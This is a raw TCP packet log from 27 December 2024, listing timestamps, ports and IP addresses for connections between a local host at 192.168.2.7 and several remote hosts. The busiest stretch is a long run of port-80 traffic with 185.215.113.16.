Dec 27, 2024 14:56:17.477643013 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.477657080 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477695942 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477725029 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477729082 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.477737904 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.477771044 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.477777958 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.523092031 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.550139904 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.600332975 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.600450039 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.600527048 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.609242916 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.609307051 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.609333992 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.609380007 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.609462023 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.609544039 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.609544039 CET	49702	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.609584093 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.609607935 CET	443	49702	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.761704922 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.761734962 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:17.762110949 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.762110949 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:17.762140036 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:18.820003033 CET	49671	443	192.168.2.7	204.79.197.203
Dec 27, 2024 14:56:19.072215080 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:19.072491884 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:19.082398891 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:19.082416058 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:19.082730055 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:19.091331959 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:19.094407082 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:19.094439983 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:19.976157904 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:20.262298107 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:20.262392044 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:20.262594938 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:20.262693882 CET	49709	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:20.262711048 CET	443	49709	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:20.449156046 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:20.449203968 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:20.449294090 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:20.449623108 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:20.449639082 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:21.706662893 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:21.706733942 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:21.718852043 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:21.718878984 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:21.719161987 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:21.762809038 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:21.763171911 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:21.763210058 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:21.763256073 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:21.807327032 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:22.740000010 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:22.740087986 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:22.740143061 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:22.740344048 CET	49715	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:22.740406990 CET	443	49715	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:22.932030916 CET	49700	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:22.932810068 CET	49722	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:22.932842016 CET	443	49722	104.98.116.138	192.168.2.7
Dec 27, 2024 14:56:22.932904005 CET	49722	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:22.933522940 CET	49722	443	192.168.2.7	104.98.116.138
Dec 27, 2024 14:56:22.933535099 CET	443	49722	104.98.116.138	192.168.2.7
Dec 27, 2024 14:56:22.980937958 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:22.980998039 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:22.981414080 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:22.981414080 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:22.981465101 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:23.051611900 CET	443	49700	104.98.116.138	192.168.2.7
Dec 27, 2024 14:56:24.239734888 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:24.239830971 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:24.241477013 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:24.241487980 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:24.241733074 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:24.243293047 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:24.243447065 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:24.243482113 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:24.243555069 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:24.243563890 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:25.211611032 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:25.211708069 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:25.211956024 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:25.211956024 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:25.523124933 CET	49723	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:25.523159981 CET	443	49723	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:26.169868946 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:26.169902086 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:26.169955015 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:26.170944929 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:26.170955896 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:27.473697901 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:27.477453947 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:27.477453947 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:27.477471113 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:27.477709055 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:27.486838102 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:27.486838102 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:27.486874104 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:28.272346020 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:28.272438049 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:28.272504091 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:28.272819042 CET	49736	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:28.272835970 CET	443	49736	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:28.773153067 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:28.773209095 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:28.773324013 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:28.773667097 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:28.773680925 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.099900961 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.099957943 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.102552891 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.102556944 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.102786064 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.119302034 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120095968 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120116949 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120213985 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120229959 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120337009 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120362043 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120481968 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120501995 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120651960 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120671988 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120820999 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120851040 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.120862961 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.120868921 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.121001005 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.121016979 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.121038914 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.121146917 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.121176958 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.167321920 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.167527914 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.167570114 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.167592049 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.211323977 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:30.211395979 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:30.255388021 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:31.882417917 CET	49677	443	192.168.2.7	20.50.201.200
Dec 27, 2024 14:56:34.169495106 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:34.169589043 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:34.169758081 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:34.169895887 CET	49742	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:34.169941902 CET	443	49742	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:34.214797974 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:34.214852095 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:34.214946985 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:34.215215921 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:34.215233088 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:35.656362057 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:35.656430006 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:35.658072948 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:35.658085108 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:35.658339024 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:35.659673929 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:35.659689903 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:35.659739017 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:36.292479992 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:36.292563915 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:36.292624950 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:36.292824984 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:36.292845964 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:36.292866945 CET	49753	443	192.168.2.7	172.67.165.185
Dec 27, 2024 14:56:36.292872906 CET	443	49753	172.67.165.185	192.168.2.7
Dec 27, 2024 14:56:36.294894934 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:36.414340019 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:36.414585114 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:36.414809942 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:36.534349918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849385023 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849422932 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849435091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849476099 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849481106 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:37.849488974 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849503040 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849510908 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:37.849515915 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849539995 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:37.849607944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849642038 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:37.849659920 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849673033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.849714994 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:37.969321966 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.969381094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:37.969441891 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.060060978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.060095072 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.060147047 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.062233925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.062359095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.062659979 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.070621967 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.070671082 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.070918083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.078998089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.079056025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.079102993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.087445021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.087548971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.087593079 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.095824003 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.095966101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.096024990 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.104284048 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.104357004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.104542971 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.112776995 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.112843990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.112893105 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.120971918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.121062994 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.121104956 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.129355907 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.129458904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.129524946 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.137707949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.137828112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.137892008 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.179780960 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.226178885 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.270427942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.270442009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.270502090 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.271898985 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.272054911 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.272108078 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.277333021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.277348042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.277390957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.282641888 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.282759905 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.282805920 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.288043022 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.288224936 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.288309097 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.293382883 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.293481112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.293530941 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.298767090 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.298841000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.298896074 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.304152012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.304346085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.304408073 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.309492111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.309595108 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.309644938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.314834118 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.314912081 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.314969063 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.320175886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.320242882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.320292950 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.325535059 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.325618029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.325670958 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.330863953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.330969095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.331015110 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.336247921 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.336344957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.336405993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.341634035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.341720104 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.345736980 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.346980095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.347059011 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.349889040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.352348089 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.352495909 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.353735924 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.357656002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.357749939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.361064911 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.363059044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.363125086 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.363257885 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.480907917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.480964899 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.481034994 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.482640028 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.482754946 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.482798100 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.486093044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.487354994 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.487392902 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.487447977 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.490813971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.490855932 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.490890026 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.494276047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.494319916 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.494371891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.497694016 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.497724056 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.497730970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.501048088 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.501085997 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.501123905 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.504431963 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.504486084 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.504534006 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.507935047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.507977009 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.508004904 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.511157036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.511192083 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.511248112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.514545918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.514588118 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.514596939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.517951012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.518017054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.518085957 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.521389961 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.521429062 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.521445036 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.524647951 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.524687052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.524744987 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.528120041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.528162956 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.528242111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.531444073 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.531490088 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.531517029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.534816027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.534862041 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:38.534934044 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.538162947 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:38.538203001 CET	49759	80	192.168.2.7	185.215.113.16
